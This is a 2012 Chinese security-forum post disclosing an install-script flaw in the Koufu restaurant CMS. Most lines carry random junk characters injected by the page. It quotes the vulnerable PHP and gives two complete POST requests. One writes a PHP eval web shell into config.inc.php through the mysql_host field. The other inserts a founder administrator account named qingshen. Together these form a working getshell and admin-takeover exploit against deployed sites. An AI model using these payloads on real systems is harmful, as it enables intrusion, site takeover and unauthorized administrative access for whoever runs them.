找回密码
 立即注册
查看: 2498|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。! d" K6 g& R( i% P3 f8 U$ L

* R  L% V4 L2 j9 d2 d) U<?php
9 H* R; r  y" W# C+ T. m" z' ~if(file_exists("../install.lock"))+ r- s  F* T. o' x
{
2 r) g& s$ b5 i2 e" }    header("Location: ../");//没有退出8 }1 @3 X4 S1 _
}& W% p3 Q: x1 G: d
               # k2 m& B3 X( t( g: A. U
//echo 'tst';exit;3 R+ F/ ?  f0 t5 w, T: q9 J6 q2 }  X
require_once("init.php");
! z& u* f4 H( y& O5 E4 zif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
& Y& [% F( @& Q3 f5 }4 o2 y: M{
7 q+ k3 F- e2 O可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
: F( l( ?; o- M; B9 {5 A9 ?7 e3 J0 c" @* ], H. y
1、getshell(很危险)5 K; e& c  _# S% w& A) b! Z' b
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)1 p* e, N- ?6 |6 U8 \$ v
{
: _+ q; ?( Y2 D9 s$smarty->assign("step",1);
( n5 ], k3 s8 d' k1 W! ?$smarty->display("index.html");) m+ V* a  m; N) }$ I9 T8 {
}elseif($_REQUEST['step']==2): [! V) v1 X7 |0 p3 o
{
" A0 S0 z. _. j    $mysql_host=trim($_POST['mysql_host']);5 |/ P* D6 b. P: _2 _  H8 @( t* h0 f
    $mysql_user=trim($_POST['mysql_user']);
0 M0 Z: K1 [- ?) n1 W    $mysql_pwd=trim($_POST['mysql_pwd']);9 I! L! B) T9 C8 O8 h( o9 J/ k
    $mysql_db=trim($_POST['mysql_db']);' @+ B) n* B2 P% O) ^3 k
    $tblpre=trim($_POST['tblpre']);& S# N% n8 ^$ P/ B5 O! g1 d
    $domain==trim($_POST['domain']);. d' Q! @7 W2 D* {3 g4 K
    $str="<?php \r\n";
  }; h; q( _. j    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";. c# `; S4 A0 }' M$ s  K8 D2 ]& l
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";" F& A8 [1 j3 D6 Y" c) s4 ?
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
- i7 O4 }" E; |1 b    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
8 m. m8 V, S: L    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
6 @' H0 ]( F+ k- N    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
  S# N4 n6 n* G    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
; ~& ^3 s/ z* @6 P' g( K+ O, j: y: l    $str.='define("SKINS","default");'."\r\n";7 s" X( t: |3 g6 S
    $str.='?>';) m" q) k6 N, h% p) x. {1 h
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
* b+ a0 q- F7 Y上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马3 }/ H2 e; Q! c. _: p
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
( l6 a5 u4 Z9 `& s( ^0 c6 y8 rHost: 192.168.80.1298 F3 ]% [  ]0 s% w  E5 H5 n
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
* i  U+ T# V" }5 g" E( vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
2 e" r) k$ X/ |9 IAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
2 O0 T' {" B2 U7 J/ i( W" ~: `- y' @Accept-Encoding: gzip, deflate
; _2 [- ~( ?5 K2 }) t; JReferer: http://192.168.80.129/canting/install/index.php?step=1
6 L% {  `# c" R3 V; v( bCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
, t7 |0 I) g% H" m, R" BContent-Type: application/x-www-form-urlencoded
) h, O& l; p  S8 |2 eContent-Length: 126
  a$ Y( {1 W8 @; M: r+ F7 b         
7 m7 M/ K1 R! Fmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
/ _# g7 d0 z6 S但是这个方法很危险,将导致网站无法运行。- Y- x: Z: }! ^

- O& w( b* p* |- G2、直接添加管理员
) _" `( N  X: ]. A% v
% E9 N8 K' r* P; c  i  y9 a( \: qelseif($_REQUEST['step']==5)
& v) z6 A: `- Z& G; }  B{
8 [1 ^3 b8 v4 Q2 I- k$ V* Y    if($_POST)4 j) D3 A3 ~, m" V. y. y+ D) A
    {   require_once("../config/config.inc.php");7 c* F  y2 `4 r, I
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
$ `4 V8 C9 a1 _" |        mysql_select_db(MYSQL_DB,$link);! x  l3 a9 a( ?9 U
        mysql_query("SET NAMES ".MYSQL_CHARSET );
) k' h4 m: _' {0 F+ i         mysql_query("SET sql_mode=''");
4 R8 @2 f) i# b4 D: p9 a  g3 T# E8 o
$adminname=trim($_POST['adminname']);
( i0 ]% T9 _+ q( K6 m, ]        $pwd1=trim($_POST['pwd1']);
7 ?: e+ K4 c, k: Z% @$ T, X/ ]0 D        $pwd2=trim($_POST['pwd2']);3 _) O" `: p0 o5 i, t. j
        if(empty($adminname))
- ?1 E* T1 Y: A. r% _) y) c        {- g. v8 q: O  E  a
4 |8 ^& t: Q( c* `5 S5 I8 U
echo "<script>alert('管理员不能为空');history.go(-1);</script>";' _& i# t+ H- Z8 F# o) |+ @8 f
            exit();1 B( ^. x" z1 K, m8 n9 ^
        }; \( J$ ^" Z0 _2 u. D- h
        if(($pwd1!=$pwd2) or empty($pwd1))
* P" z* Y* A+ m; _' g4 @5 f" y1 r        {
$ e6 p+ y- X+ r            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
: Q1 x: R" H/ V        }
4 W0 R  p" k7 B9 z& {# E- G        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员/ @$ s) o! L3 V' {
    }5 O; g' R2 x8 a3 s. h, ^& K, v8 }2 x
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
+ I% F) r+ v$ K2 \" {! wPOST /canting/install/index.php?m=index&step=5 HTTP/1.1+ M0 L- a, o" j; q$ U
Host: 192.168.80.1297 G2 ?, v! o( z" c+ ?& A# G
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
, Q8 ^  B# z9 E" |9 e: EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' [" B1 Z  o' h+ i
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.30 F; T* u, m: d: y' ^' K
Accept-Encoding: gzip, deflate; w8 o) f" d' ~" o/ A
Referer: http://www.2cto.com /canting/install/index.php?step=1  A+ X2 P9 V# g" o: y: g: P% k+ z
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42  }" y/ T4 K$ i* i6 q6 Z
Content-Type: application/x-www-form-urlencoded
1 @  }  K4 q5 C7 ]& VContent-Length: 46$ s5 K3 {, x$ l# P
      
( ~! o4 _) I; T8 W4 J! D6 c. kadminname=qingshen&pwd1=qingshen&pwd2=qingshen​/ t* i7 `9 P$ W1 O# E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表